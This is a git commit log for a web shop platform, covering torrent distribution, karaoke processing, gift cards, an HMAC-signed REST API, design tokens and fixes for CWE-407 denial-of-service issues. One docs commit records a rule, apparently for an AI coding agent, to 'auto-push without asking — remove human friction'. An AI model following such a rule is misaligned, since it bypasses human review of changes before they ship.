206ff49e68 docs: never broad-grep config files — rule for operation voyeur 2026-04-16 19:31:52 -04:00
russell@unturf.com
e8d4c9a0d9 bump GIT_HASH to 7d7d4a3 2026-04-16 19:26:00 -04:00
russell@unturf.com
7d7d4a371a fix: pass request.app (not registry.settings) to capture_karaoke_config 
KeyError 'bucket.secure_uploads.region' in the detached karaoke child
on prod. production.ini stores keys with the app. prefix
(app.bucket.secure_uploads.region) and a request hook strips that
prefix into a dict attached as request.app. request.registry.settings
still carries the raw, prefixed keys.

The upload-time and on-demand karaoke call sites were passing
request.registry.settings; capture_karaoke_config expected the
stripped dict. Dev .ini happens to match both layouts which masked
this — prod raised KeyError and the response 502'd.

Switch both call sites to request.app (matches the pattern used by
backfill_karaoke_async and backfill_mirror_async) and document the
expected shape on capture_karaoke_config.
 2026-04-16 19:25:48 -04:00
russell@unturf.com
a9345bb7ea bump GIT_HASH to 806a97b 2026-04-16 15:45:37 -04:00
russell@unturf.com
806a97baca fix: 502 on .flv/unknown-extension upload — use guess_type + guard None 
ParamValidationError on copy_object after upload — ContentType=None
hit S3. get_content_type("thumbnail2") returned None for a .flv file
because mimetypes.types_map only holds Python's built-in table (no
.flv, .mkv, .opus, .m4v, etc.).

Switch to mimetypes.guess_type, which initializes from the OS mime
database and covers every common format. Keep None as the return for
truly unknown extensions so downstream callers that chain `or
"video/mp4"` still pick the right context-aware fallback.

Guard the two copy_object / mirror_key_async sites in views/product.py
with `or "application/octet-stream"` so even a genuinely unknown
extension can't crash the upload handler again.
 2026-04-16 15:45:20 -04:00
russell@unturf.com
d527b57b04 bump GIT_HASH to 8fcb4da 2026-04-16 15:08:41 -04:00
russell@unturf.com
8fcb4da92c fix: run karaoke in detached child so upload response returns 
Upload handler called process_karaoke synchronously — for audio/video
products, vocal isolation (download, ffmpeg, voxsplit, reupload) can
take several minutes. The response hung until karaoke finished, so
users saw a black screen after a successful upload while Caddy/uwsgi
timed out. The file itself was already in S3+DB, which is why hitting
Back showed the edit page with the upload present.

Fix: extract the fork+detach logic the on-demand path already used
(views/watch.py:karaoke_process) into a reusable helper,
process_karaoke_detached, in lib/karaoke.py. Both the upload path and
the on-demand path now hand off to the helper and return immediately.

The helper takes a snapshot of shop+S3+mirror config in the parent
(capture_karaoke_config) so the grandchild only touches the DB at the
end for the final metadata write — by then the parent has long since
committed. Mirror writes run synchronously in the grandchild instead
of via mirror_keys_async daemon threads that were dying at os._exit.
 2026-04-16 15:05:20 -04:00
russell@unturf.com
d757cbecbe fix(cart): enforce Stripe $0.50 minimum; add public sales stats 
Stripe rejects charges under $0.50 — a $0.33 item was silently freed
because requires_payment threshold (64¢) skipped all card processing.

Changes:
- Cart + Invoice: add requires_stripe_payment (>= 50¢)
- cart_checkout GET + cart_complete_checkout POST: block Stripe when
  total < $0.50 and only Stripe is available; message points to DOGE/XMR
- Invoice Stripe charge loop: guard on requires_stripe_payment (safety net)
- Shop model: add public_sales_stats boolean (default False)
- shop_settings: toggle for public_sales_stats
- shop() view: include sales_count + sales_revenue when flag is on
- shop.j2: conditional stats section (sales count + revenue)
- Migration: 1a2b3c4d5e6f add_public_sales_stats_to_shop
 2026-04-10 14:37:07 -04:00
russell@unturf.com
8945ee106b bump GIT_HASH to 0a8400e 2026-04-07 12:54:09 -04:00
russell@unturf.com
0a8400ecb2 fix: wrap script DB sessions in transaction.manager to resolve NoTransaction error 
digest_sender cron was crashing with transaction.interfaces.NoTransaction.
bootstrap() doesn't start a transaction — pyramid_tm handles that for web
requests but not console scripts. Wrap DB work in transaction.manager context
instead of manual transaction.commit() calls.

Same latent defect fixed in backfill_karaoke.py.
 2026-04-07 12:53:55 -04:00
russell@unturf.com
0203172dcd fix test: patch _torrent_backfill_async directly, not generate_torrent_async 2026-04-07 10:47:33 -04:00
russell@unturf.com
932a0dde6e fix: backfill functions return immediately, work runs in daemon thread 
Both _torrent_backfill_async and _checksum_backfill_async were blocking
the request thread by iterating all products before returning — causing
the settings form to hang on "Saving...".

Fix: snapshot shop_id, bucket, S3 creds, and work list while the DB
session is live, then hand off to a single daemon thread and return.
The request redirects instantly.
 2026-04-07 10:32:42 -04:00
russell@unturf.com
3faf55203b torrent: index.html links thumbnails and main file with relative paths 2026-04-06 19:36:45 -04:00
russell@unturf.com
ad82b812aa checksums: compute MD5+SHA-256 for every uploaded file, display on content page 
- lib/checksums.py: background thread streams from S3, computes both digests
- models/product.py: checksums property + set_checksum stored in file_metadata["checksums"]
- views/product.py: trigger compute_checksums_async after every file upload
- views/shop.py: checksum backfill function (skips files already computed),
  checksum_backfill POST view, checksum_backfill_status JSON view
- routes.py: /s/{shop_id}/checksum-backfill + /s/{shop_id}/checksum-backfill-status
- templates/content.j2: <details> block near date metadata — SHA-256 then MD5
- templates/shop_settings.j2: Backfill Checksums button + progress bar with 4s polling
 2026-04-06 18:18:33 -04:00
russell@unturf.com
3671133b96 torrent: multi-file bundles, content/product distinction enforced 
Paid products seed: preview + thumbnails + index.md + index.html
Free content seeds: content file + thumbnails + index.md + index.html
The paid product file is never included in any torrent.

- lib/torrent.py: redesign generate_torrent for directory bundles (torf multi-file)
  - description written as index.md + rendered index.html
  - torrent stored as bundle.torrent (was product.torrent)
  - build_bundle_files() encapsulates what belongs in each bundle type
- views/product.py: trigger fires on preview upload for paid products,
  product file upload for free content
- views/shop.py: backfill eligibility mirrors same rule; backfill_status too
- tests: rewrite TestTorrentLib for new bundle interface, add bundle_files tests
 2026-04-06 18:14:47 -04:00
russell@unturf.com
ef372cecf3 torrent security: opt-in gate + visibility gating to prevent accidental seeding 
- Add torrent_opt_in boolean to mps_product (default false)
- Gate all torrent seeding (upload trigger, backfill) on torrent_opt_in AND visibility==1
- Suppress magnet/torrent display for all users when product is private or unlisted
- Add permanence warning and explicit consent checkbox on product edit page
- backfill_status endpoint counts only opted-in public products
- Alembic migration: 0ee5654cfe7d
 2026-04-06 18:07:49 -04:00
russell@unturf.com
0d904e9e1c feat: torrent backfill progress bar on shop settings 
Adds GET /s/{shop_id}/torrent-backfill-status JSON endpoint returning
total/done/remaining counts for products needing magnet link generation.

Shop settings page shows a progress bar + status line when torrent
distribution is enabled. Polls every 4 seconds, stops when done.
 2026-04-06 17:56:02 -04:00
russell@unturf.com
b72fc6bf3b feat: REST API v1 — HMAC-signed product/content creation and file upload 
Adds a public/private key pair authentication system and REST API endpoints
for programmatic product and content management. Designed for CI/CD pipelines
(permacomputer.com image hosting).

Auth: HMAC-SHA256 signed requests using public/private key pairs.
The secret key never travels over the wire. Replay window: 300 seconds.

Endpoints:
  POST /api/v1/products              create product (fiat/crypto priced)
  POST /api/v1/content               create content (free)
  GET  /api/v1/products/{id}         get product
  GET  /api/v1/content/{id}          get content
  POST /api/v1/products/{id}/upload-url     presigned S3 POST for direct upload
  POST /api/v1/content/{id}/upload-url      presigned S3 POST for direct upload
  POST /api/v1/products/{id}/files/confirm  confirm upload, register metadata
  POST /api/v1/content/{id}/files/confirm   confirm upload, register metadata

Key management UI in shop settings. Secret shown once on generation.

Migration: mps_api_key table (id, shop_id, public_key, secret_key, label,
created_timestamp, last_used_timestamp, is_active)

Tests: 12 MpsApiKey unit tests, 8 REST API functional tests (269 total passing)
 2026-04-06 15:23:30 -04:00
russell@unturf.com
dc06551967 docs: use make migration — never hand-write revision IDs 2026-04-06 14:20:13 -04:00
russell@unturf.com
c6d03bd9ae docs: clarify prod rules — restarts ok, some servers ci-only not salt 2026-04-06 13:45:29 -04:00
russell@unturf.com
08509629b6 docs: never operate on production directly — always CI/CD and Salt 2026-04-06 13:44:50 -04:00
russell@unturf.com
c12365143d fix: replace bad migration revision ID with proper alembic-generated ID 
The torrent_distribution_support migration was manually created with a
duplicate revision ID (a1b2c3d4e5f6) already in use by an older migration,
and pointed to the wrong down_revision (fd9f7e2f2b78 root instead of
9884324a48e3 current head). This caused a cycle in the revision map and
alembic upgrade head failed silently, leaving prod with new code but old
schema → 502 on all shop endpoints.

Deleted the broken file, regenerated with alembic revision to get a proper
unique ID (c0236e351476), set correct down_revision, preserved idempotent
_column_exists guards.
 2026-04-06 13:40:36 -04:00
russell@unturf.com
d7e8ec5bc2 mps: torrent backfill on enable + web seed + full test coverage 
- backfill: enabling torrent on a shop auto-generates .torrent for all
  existing products that have a product file (no manual trigger needed)
- web seed (BEP 19): CDN url embedded in .torrent + magnet link so
  clients bootstrap via HTTP then seed to peers (no seeder process needed)
- torrent_file_url: stored on Product, shown as download link on content
  and edit pages alongside the magnet link
- migration: idempotent _column_exists guards on all add_column calls
- template: grid layout (not flex) for magnet/torrent buttons on edit page
- tests: 13 passing tests covering all new paths (unit + functional)
  including backfill trigger, web seed construction, visibility gating
 2026-04-05 22:09:20 -04:00
russell@unturf.com
e06cf1c230 mps: torrent web seed + torrent_file_url for CDN-bootstrapped swarm 
- embed CDN URL as BEP 19 web seed in .torrent + magnet link
- store torrent_file_url (CDN path to .torrent) on Product
- migration adds torrent_file_url column alongside magnet_link
- content page shows Magnet + .torrent download buttons
- product edit shows Copy Magnet + Open + .torrent download
- cdn_endpoint flows from request.shop_cdn_endpoint through async thread
 2026-04-05 21:31:09 -04:00
russell@unturf.com
7d78dff6ac mps: torrent magnet links auto-generated on file upload 
lib/torrent.py: generate_torrent_async() — daemon thread that fires after
upload, downloads file from S3, builds .torrent via torf, uploads
product.torrent to S3 (public-read), saves magnet link to DB.

views/product.py: trigger generate_torrent_async when file_key=='product'
and shop.torrent_enabled. Removed manual magnet link save — it's automatic.

templates/product_edit.j2: magnet link is read-only + copy button + Open
button when generated; 'upload the product file' hint when not yet generated.

tests: updated to reflect auto-generation model, added content page test.
 2026-04-05 20:03:47 -04:00
russell@unturf.com
d5f55f8131 mps: torrent distribution — shop toggle + per-product magnet link 
Shop settings: new 'Torrent Distribution' section with single checkbox
(torrent_enabled, default False). When on, product edit shows a magnet
link field; content page shows a Torrent button alongside Download.

- models/shop.py: torrent_enabled (Boolean, default False)
- models/product.py: torrent_magnet_link (UnicodeText, nullable)
- views/shop.py: torrent-settings form section handler
- views/product.py: save/validate magnet link on product edit
- views/content.py: pass torrent_magnet_link to content template
- templates/shop_settings.j2: Torrent Distribution section
- templates/product_edit.j2: magnet link field (shown when torrent enabled)
- templates/content.j2: Torrent button beside Download
- migration: a1b2c3d4e5f6 adds both columns
- tests: 6 functional tests covering enable/disable, magnet save,
  invalid scheme rejection, and no-leak when disabled
 2026-04-05 19:57:44 -04:00
russell@unturf.com
41a8525953 feat: add Previous button left of Random in watch controls 2026-04-03 10:00:10 -04:00
russell@unturf.com
6ec646a075 fix: restore logo full width on mobile — max-height 100px, max-width 100% 2026-04-03 09:58:34 -04:00
russell@unturf.com
f77a8029c1 bump GIT_HASH 2026-03-31 20:10:39 -04:00
russell@unturf.com
5ceeaf8a69 feat: share watch queue across tabs via localStorage + storage events 
Queue was sessionStorage (per-tab only). Switch to localStorage so any
tab can add to our shared queue. Storage events fire in all other same-origin
tabs on mutation — renderQueue() wired to keep UI in sync automatically.
 2026-03-31 20:10:19 -04:00
russell@unturf.com
f12fa036a6 style: avoid "the", use "our" — writing style rule + sweep 2026-03-31 13:20:21 -04:00
russell@unturf.com
422d462b46 bump GIT_HASH 2026-03-30 09:26:44 -04:00
russell@unturf.com
1883329af1 docs: mark bleach CWE-407 as fixed in security section 2026-03-30 09:26:42 -04:00
russell@unturf.com
79ecef66ef bump GIT_HASH 2026-03-30 09:26:17 -04:00
russell@unturf.com
c71fd328c3 fix: CWE-407 — limit HTML nesting depth before bleach to prevent O(2^N) 
Add limit_html_nesting() to sanitize_html.py. Flattens any HTML element
nested beyond depth 20 using html.parser (O(N)) before the content reaches
bleach/html5lib. N=35 attack drops from 12.8s to 0.04s.

Wire into markdown_to_html() in render.py — single enforcement point for
all callers: product descriptions, shop descriptions, privacy policy,
terms of service, markup preview.

No byte cap — books, long-form content, and deep table-of-contents
structures are fully supported. The depth limit (20 levels) prevents the
exponential zone while accommodating any legitimate nesting depth.
 2026-03-30 09:26:07 -04:00
russell@unturf.com
4ef3059c8d bump GIT_HASH 2026-03-29 21:48:57 -04:00
russell@unturf.com
72626bf65a fix: CWE-407 — cap markup preview input + harden color regex 
markup_editor_preview: reject requests where data exceeds 100KB
before passing to markdown/bleach pipeline (same class as
CWE-407 bleach O(2^N) finding — no input cap on AJAX preview).

add_shop_theme_classes: replace single compound regex with four
anchored non-backtracking patterns to eliminate ReDoS risk on
color validation. Practical risk was low (theme_link_color is
always derived from color_scale()), but the pattern was unsafe.
 2026-03-29 21:48:52 -04:00
russell@unturf.com
8b3c9a1456 bump GIT_HASH 2026-03-29 21:20:20 -04:00
russell@unturf.com
389f80a730 docs: CWE-407 security section — bleach O(2^N) exposure and PoC 
Add Security section to CLAUDE.md documenting both CWE-407 surfaces:
- Search/feed endpoints (fixed, commit f9cbebb)
- Bleach HTML sanitization: O(2^N) on crafted HTML, no input cap in MPS

Add docs/poc-cwe407.py: proof-of-concept timing harness covering
rbox-search, rbox-page, rbox-dump, mps-search, mps-sitemap vectors.
Authorized use only — run against own staging/dev instance.
 2026-03-29 21:19:59 -04:00
russell@unturf.com
7aaf189cbd ops: operation voyeur — credential opsec protocol 2026-03-29 15:46:08 -04:00
russell@unturf.com
9131f5900e bump GIT_HASH 2026-03-28 18:25:43 -04:00
russell@unturf.com
6c89b31830 fix: add X-Requested-With header to markup editor preview fetch — Pyramid xhr=True predicate was rejecting requests 2026-03-28 18:25:21 -04:00
russell@unturf.com
84a21e1e7a bump GIT_HASH 2026-03-28 15:13:05 -04:00
russell@unturf.com
f9cbebb6b5 fix: cap search keywords and feed queries to prevent CWE-407 amplification 
- shop.py: strip empty tokens, cap keywords to 10 before passing to model
- product.py: add .limit(200) per keyword query — was unbounded .all()
- feeds.py: add .limit(1000) on product/content feed queries — was unbounded
 2026-03-28 15:12:41 -04:00
russell@unturf.com
eec598604b docs: 🔥 == 🔥 in auto-push rule 2026-03-28 11:46:08 -04:00
russell@unturf.com
ba3a6e66b2 docs: auto-push without asking — remove human friction 2026-03-28 11:45:34 -04:00
russell@unturf.com
2bd25672f9 fix: cap ring related items at 42 — was rendering entire ring with forward=len(ring) 2026-03-28 11:44:23 -04:00
russell@unturf.com
01bd9086fe docs: wordpress import pipeline architecture with dot diagrams 
Design doc for ingesting WordPress sites into MPS shops. Covers two
input modes (REST API + WXR XML), 4-phase HTML conversion pipeline,
content/media/comment mapping, CLI interface, competitive analysis,
and future enhancements. Includes rendered dot diagrams for the
architecture overview and HTML conversion detail flow.
 2026-03-12 11:32:47 -04:00
russell@unturf.com
8649e6aaae docs: karaoke pipeline architecture with dot diagrams 
Add docs/karaoke-pipeline.md covering the full streaming pipeline from
MPS through unsandbox API to zerotrust container and back. Includes two
Graphviz dot diagrams (rendered to SVG):

- karaoke-pipeline.dot: full system flow across MPS, API, pool, container
- karaoke-ondemand.dot: watch mode on-demand user flow

Update architecture.md feature toggle matrix and related docs table.
Update CLAUDE.md karaoke section with streaming path and on-demand info.
 2026-03-11 17:49:57 -04:00
russell@unturf.com
6fd6bfd756 bump GIT_HASH to 4a12722 2026-03-11 17:20:51 -04:00
russell@unturf.com
4a12722b4d feat: on-demand karaoke processing — button next to random triggers vocal isolation 
Karaoke button (🎤) now always visible for audio/video products when the
shop has unsandbox API keys configured. Clicking it triggers on-demand
processing via POST /karaoke/{product_id} if tracks don't exist yet.

Server forks a detached child process (survives uWSGI recycling) to run
process_karaoke, then the existing 10s watch_json refresh picks up the
new URLs when processing completes. Button shows hourglass during
processing and auto-switches to instrumentals on completion.

Changes:
- New route + view: POST /karaoke/{product_id} (on-demand processing)
- watch_json + content.py: add karaoke_eligible flag
- content.j2: data-karaoke-eligible attribute on media container
- watch.js: show button when eligible, trigger processing, detect
  completion via URL refresh, auto-switch to instrumentals
- related_content.j2: mic emoji button, JS controls visibility
- CSS: disabled state for processing button
- 8 new functional tests covering eligibility, processing, edge cases
 2026-03-11 17:20:26 -04:00
russell@unturf.com
924921e232 bump GIT_HASH to 5e0d263 2026-03-11 13:03:35 -04:00
russell@unturf.com
5e0d263b7c fix: 3 watch mode defects — crossfade race, filter-aware next, countdown position 
1. Crossfade race condition: when a DJ crossfade is active and the user
   clicks a new song, cancelDjCrossfade resets djCrossfadeActive but the
   old song is still near its end — timeupdate immediately re-triggers
   startDjCrossfade, racing with the in-flight fetch. Added
   navigationPending flag to block DJ crossfade and ended handler while
   a user-initiated navigation is in progress.

2. getNextItem/getNextUnwatchedItem now respect media type filters.
   Previously, filtering to "video only" still showed an image in the
   countdown because the ring walked by position without checking
   data-media-type. Now skips filtered items.

3. Countdown overlay moved from position:absolute inside the video/audio
   container (covering native controls) to a flow-positioned element
   between the media and title. Removed watch-countdown-static class
   since all countdown instances now use the same in-flow layout.
 2026-03-11 13:03:18 -04:00
russell@unturf.com
a71a3d4c6e bump GIT_HASH to 92dc61f 2026-03-08 00:45:15 -05:00
russell@unturf.com
92dc61fc50 fix: address 4 defects from CodeRabbit review 
- reforge_discovery_ring_async: add non-production guard matching sync version
- is_trial_active/is_trial_expired: check trial_ended flag
- has_primary_s3: include primary_s3_region in validation
- gift card migration downgrade: add missing json_gift_cards drop + existence guards
 2026-03-08 00:45:04 -05:00
Russell Ballestrini
df8f4993c6 Merge branch 'explore/design-tokens' into 'master' 
feat: integrate design tokens from www.makepostsell.com styleguide

See merge request engineering/make-post-sell/make_post_sell!58
 2026-03-08 04:28:22 +00:00
russell@unturf.com
cca3172c9b bump GIT_HASH to e2169ec 2026-03-07 21:14:46 -05:00
russell@unturf.com
e2169ecbbf sidebar: show full ring instead of 42-item window 
The related content sidebar now shows all ring items from the current
position forward, matching content.py behavior. This means the sidebar
never "runs out" of items — Fresh mode hides watched items and reveals
the full remaining ring. Items beyond offset 7 still use the
related-content-overflow CSS class for mobile.
 2026-03-07 21:14:25 -05:00
russell@unturf.com
2bf4ab1736 bump GIT_HASH to 25d2554 2026-03-07 20:36:10 -05:00
russell@unturf.com
25d255447e fix: seed discovery ring from server on initial page load 
The ring was only populated from localStorage or during SPA navigation.
First visits (empty localStorage) or cross-shop visits (stale ring)
left ringProductIds empty, causing the related content sidebar to show
only the current product. Now:

- On page load, if localStorage ring is empty, fetch from watch JSON
- Invalidate stale rings when current product is not in the saved ring
 2026-03-07 20:36:05 -05:00
russell@unturf.com
5385e14a29 bump GIT_HASH to 84f96f9 2026-03-07 20:21:02 -05:00
russell@unturf.com
84f96f90c8 fix remaining MPS-14/15/16 audit gaps 
- Skip discovery ring reforge for non-production shops (MPS-14)
- Block settings POST when trial expired, except environment and
  bucket settings needed for onboarding (MPS-15)
- BYOB upload enforcement is a soft prompt (trial tip in settings)
  rather than hard block — new users need to upload during trial
 2026-03-07 20:20:56 -05:00
russell@unturf.com
63bdc3c589 bump GIT_HASH to 9c3e0e5 2026-03-07 19:36:34 -05:00
russell@unturf.com
9c3e0e5e54 implement remaining MPS-14/15/16 gaps: trial enforcement, BYOB backfill, search exclusion 
- Add trial_active_required decorator to product_new, product_edit, cart_checkout,
  all checkout completions, and gift_card_add_to_cart (MPS-15)
- Make karaoke backfill and s3_mirror backfill shop-aware for BYOB buckets (MPS-16)
- Auto-test BYOB bucket connection on save, like mirror does (MPS-16)
- Add trial onboarding tip in bucket settings for trial shops (MPS-16)
- Filter non-production shops from search results (MPS-14)
- Filter non-production shops from email digests (MPS-14)
- Fix environment allowance to allow minimum 2 non-prod shops (MPS-14)
- Add 12 integration tests (6 trial + 6 BYOB), 724 total tests pass
 2026-03-07 19:36:16 -05:00
russell@unturf.com
13fabb5d3f bump GIT_HASH to bfe2289 2026-03-07 19:02:07 -05:00
russell@unturf.com
bfe2289313 docs: update CLAUDE.md testing requirements, architecture, and design system 
- CLAUDE.md: add mandatory test coverage rule (all 3 layers required),
  document BYOB shop-aware S3 methods, update test count to 712
- architecture.md: mark MPS-14/15/16 complete, add environment/trial/BYOB
  to feature toggle matrix, add BYOB to S3 storage diagram
- design-system.md: add environment and trial banner components
 2026-03-07 19:01:57 -05:00
russell@unturf.com
395e703a20 bump GIT_HASH to 2cb1e79 2026-03-07 18:14:44 -05:00
russell@unturf.com
2cb1e79400 feat: implement MPS-14 (environment), MPS-15 (trial), MPS-16 (BYOB) 
MPS-14: Add environment column (production/staging/development) to shops.
Non-production shops excluded from feeds, search, and discovery.
Environment banner in base template. Settings UI and creation selector.

MPS-15: Add 21-day free trial with trial_started_timestamp on shop
creation. Properties: is_trial_active, is_trial_expired, trial_days_remaining,
is_active. Grandfathered pre-trial shops (NULL timestamp = paid).
Trial banner in base template.

MPS-16: BYOB (Bring Your Own Bucket) - per-shop S3 storage with
primary_s3_* columns. Shop-aware request methods (shop_uploads_client,
shop_bucket_name, shop_cdn_endpoint) that fall back to MPS default.
All templates and views updated from global to shop-aware S3 references.
Bucket settings UI in shop settings.

Migration: 9884324a48e3 (idempotent, 11 new columns on mps_shop).
Tests: 14 unit tests + 8 functional tests (712 total, all pass).
 2026-03-07 18:14:31 -05:00
russell@unturf.com
0fc8b62aa1 bump GIT_HASH to d988e15 2026-03-07 17:41:08 -05:00
russell@unturf.com
d988e15ff9 fix: make random and next buttons much bigger in watch mode controls 2026-03-07 17:40:42 -05:00
russell@unturf.com
add2e85248 docs: add tickets MPS-14 (dev/stage shops), MPS-15 (free trial), MPS-16 (BYOB) 2026-03-07 17:30:05 -05:00
russell@unturf.com
e15971be83 bump GIT_HASH to 46c1b2d 2026-03-07 17:15:26 -05:00
russell@unturf.com
46c1b2d521 test: add gift card integration tests; update docs and CLAUDE.md 
7 integration tests for gift card models, cart integration, deduction,
transactions, coupon+gift card combo, validation, and JSON purchases.
Update architecture.md (feature toggle matrix, ticket index, diagram).
Update design-system.md (gift card component section).
Add post-work chores checklist to CLAUDE.md.
 2026-03-07 17:15:00 -05:00
russell@unturf.com
4935e41448 bump GIT_HASH to e90e080 2026-03-07 17:11:52 -05:00
russell@unturf.com
e90e080c44 test: add gift card functional tests 
Six new tests covering gift card page access, settings enable/disable,
settings validation, manage page, and applying invalid gift card codes.
 2026-03-07 17:11:38 -05:00
russell@unturf.com
3b1d00cbfb bump GIT_HASH to 5d50165 2026-03-07 15:39:00 -05:00
russell@unturf.com
5d501652c2 feat: add gift card system for shops (MPS-10 through MPS-13) 
Variable-amount gift cards purchasable with any payment method.
Code-based redemption at checkout (applied to cart like coupons).
Partial use across multiple purchases, never expire. Shop owners
control min/max amounts and can disable individual cards.

Models: GiftCard, GiftCardTransaction, CartGiftCard + migration.
Views: purchase page, cart apply/remove, shop admin manage/detail/toggle.
Templates: gift_card.j2, gift_card_manage.j2, gift_card_detail.j2.
Cart integration: gift cards deduct after coupons in all checkout paths.
Tests: 10 new unit tests covering model logic (677 total pass).
 2026-03-07 15:38:40 -05:00
russell@unturf.com
2082783f03 Improve responsive layout and prevent horizontal overflow 
Adjust login card spacing for smaller screens and add overflow hidden to main content sections. Refine logo sizing across viewport sizes to prevent it from dominating on mobile devices.
 2026-03-07 09:05:21 -05:00
russell@unturf.com
901741b2da docs: add design system reference and cross-link architecture docs 
New docs/design-system.md covers token architecture, file map, token
category tables, theme system, typography utilities, component library
index, CSS conventions, and load order.

Add Related Docs section to architecture.md linking design system,
JavaScript, sandbox mode, and testing performance docs.
 2026-03-06 18:22:05 -05:00
russell@unturf.com
853fc9d2e5 fix: prevent word wrapping on nav links, buttons, and footer links 
- Add white-space: nowrap to section.log-in links, .user-display-name,
  .cart-and-count, .mps-button, .mps-footer-links a, .mps-footer-group-title
- Prevents sloppy word breaks on "My Account", "Cart $0.00", etc.
 2026-03-06 10:42:10 -05:00
russell@unturf.com
e65e80c8b7 fix: login card and landing page CSS specificity issues 
- Remove .well from login-card to prevent padding/bg override
- Add border-radius and border directly to .login-card
- Bump specificity on .landing-feature-card.well and .landing-cta-card.well
- Constrain hero CTA button min-width to 180px
- Add display:block to .login-form-input for reliable full-width
 2026-03-06 10:41:06 -05:00
russell@unturf.com
ef56f6ebc6 bump GIT_HASH to df65ed6 2026-03-06 10:32:18 -05:00
russell@unturf.com
df65ed663d feat: redesign SaaS landing page, login form, and add Class Act styleguide section 
- Treat 127.0.0.1 as SaaS domain in dev (fixes missing footer/logo)
- Landing page: hero with type-display, 6 feature cards grid, bottom CTA
- Login form: elevation card, styled input, mps-button-green submit, hint block
- CSS: login-card, landing-hero, landing-features, responsive breakpoints
- Styleguide: Landing Page section with class reference, Class Act section
  documenting the passwordless unified auth flow with diagram
- Update functional test for new landing copy
 2026-03-06 10:31:58 -05:00
russell@unturf.com
1b773af9d3 bump GIT_HASH to 1c8992a 2026-03-06 10:11:01 -05:00
russell@unturf.com
1c8992a8bd refactor: consolidate dark mode theme into tokens.css, tokenize #2d3748 
Move :root and [data-theme="dark"] variable blocks from common.css into
tokens.css so the entire theme system lives in one file. Replace ~38
hardcoded #2d3748 dark button backgrounds with var(--dark-button-bg).

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
 2026-03-06 10:10:46 -05:00
russell@unturf.com
77c7faba40 refactor: migrate hardcoded values in common.css to design tokens 
Replace ~150 hardcoded color, spacing, radius, font, and border values
with CSS custom property references from tokens.css. Every replacement
uses var() with the original value as fallback, ensuring zero visual
change while establishing the token-based foundation.

Categories migrated:
- Colors: button backgrounds, link color, status text, alert bg/text/border
- Surfaces: wells, content bg, table stripes, card bg, input bg
- Borders: input borders, thumbnails, comment replies, crypto cards
- Border radius: buttons, inputs, wells, serp items, alerts, cards
- Typography: font-family, font-size, font-weight on buttons/labels
- Spacing: padding, margins on buttons, inputs, coupons, notices
- Motion: theme toggle transition uses duration/easing tokens

Dark mode [data-theme="dark"] blocks left untouched — they override
via the existing variable system and will be consolidated in a future pass.
 2026-03-06 09:38:34 -05:00
russell@unturf.com
815876daf1 feat: integrate design tokens from www.makepostsell.com styleguide 
- Add tokens.css as foundation layer (loaded before common.css)
  - Color system: brand, surface, text, border, state, alert tokens
  - Typography: major third scale with 14 semantic classes
  - Spacing: 4px base, 12-step scale with utility classes
  - Shape: 7 radius levels from none to pill
  - Elevation: 5 shadow levels with dual-shadow technique
  - Motion: 4 easing curves, 7 durations, entrance animations
  - Loading: skeleton shimmer + spinner (3 sizes)
  - Scroll reveal, state layers, ripple effect, focus rings
  - Accessibility: prefers-reduced-motion, :focus-visible
- Rewrite styleguide.j2 to comprehensive design system reference
  - New sections: tokens, elevation, motion, spacing, shape, states,
    loading, status notices, cart buttons, checkout layout, toggle
  - All app components documented with live demos
  - TOC navigation for all sections
- Add STYLEGUIDE rule to CLAUDE.md
- Wire tokens.css into base.j2 before common.css

Exploration branch — tokens.css provides new variables alongside
existing common.css variables. No visual regressions expected as
common.css values take precedence for shared property names.
 2026-03-06 09:18:12 -05:00
russell@unturf.com
32a19a339c docs: add MPS-6 through MPS-9 tickets, architecture diagram, update JS docs 
- MPS-6: referrer analytics (domain, query, trend line charts)
- MPS-7: sandbox mode creative filter system
- MPS-8: user S3 bucket + artifact storage
- MPS-9: shop S3 mirror bucket
- architecture.md: system diagram, request flow, data pipeline, S3 layout
- JAVASCRIPT.md: add sandbox.js, signals.js, MediaPipe SDK entries
- sandbox-mode.md: mark S3 upload as implemented
- mps-2.md: document referrer_domain + referrer_query columns

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
 2026-03-05 06:19:56 -05:00
russell@unturf.com
7a6fadeeaa bump GIT_HASH to 666ca41 2026-03-05 06:10:08 -05:00
russell@unturf.com
666ca41184 fix: use full shop slug URL in sandbox functional tests 
Tests were using /s/{shop.id} which returns 302 redirect instead of
/s/{shop.id}/{shop.slug} which returns 200 directly.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
 2026-03-05 06:09:57 -05:00
russell@unturf.com
e662f29e86 feat: referrer trend line chart, sandbox + S3 storage functional tests 
- Add _daily_referrer_counts() for 28-day external referrer line chart
  bucketing in shop and product analytics views
- Add SVG line chart sections for referrer trends in both analytics
  templates (analytics.j2 and analytics_product.j2)
- Add functional tests for sandbox mode enable/disable, toolbar
  conditional rendering, and form isolation
- Add functional tests for user S3 storage settings (save, clear,
  validation) and presigned upload endpoint
- Add test for data-has-bucket attribute on sandbox toolbar

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
 2026-03-04 22:51:55 -05:00
russell@unturf.com
38bb64b97b Add /styleguide route with live component reference 
New styleguide page at /styleguide showing all design system
components: colors (light/dark), typography, buttons (core +
semantic + small/cancel), form elements, wells, alerts, SERP
product cards, layout patterns, task bar, theme system docs,
comment actions, ribbon, and footer structure.

Includes theme toggle button for previewing both modes.
Extends base.j2, wired through routes.py and views/misc.py.
 2026-03-04 18:49:02 -05:00
russell@unturf.com
e2f57e9abb fix: harden rm -rf with retry loop and existence check in CI build 2026-03-04 14:42:29 -05:00
russell@unturf.com
17079bd0a8 bump GIT_HASH to 6a175da 2026-03-04 13:29:02 -05:00
russell@unturf.com
6a175dad29 feat: skip presigned URL refresh when paused + SPA shop settings 
watch.js: presigned URL refresh now skips src swap when media is paused.
Tracks lastUrlRefreshTs so that when the user resumes playback after a
long pause, the play listener detects the stale URL and refreshes before
continuing. No more re-buffering or disruption for idle media.

shop.py: detect X-Requested-With header on settings POST and return JSON
with flash messages instead of redirect, enabling SPA behavior.

shop-settings.js: new progressive enhancement script intercepts settings
form submits via fetch, renders flash messages inline into #alerts div.
Falls back to normal POST + redirect when JS is disabled or on error.
 2026-03-04 13:28:50 -05:00
russell@unturf.com
b3aa6078b2 bump GIT_HASH to 31cc9c3 2026-03-04 12:35:27 -05:00
russell@unturf.com
31cc9c394a fix: update product ago dates during SPA navigation in watch mode 
watch.py now returns human_created_timestamp, human_updated_timestamp,
and show_dates in the JSON response. watch.js updatePageContent() rebuilds
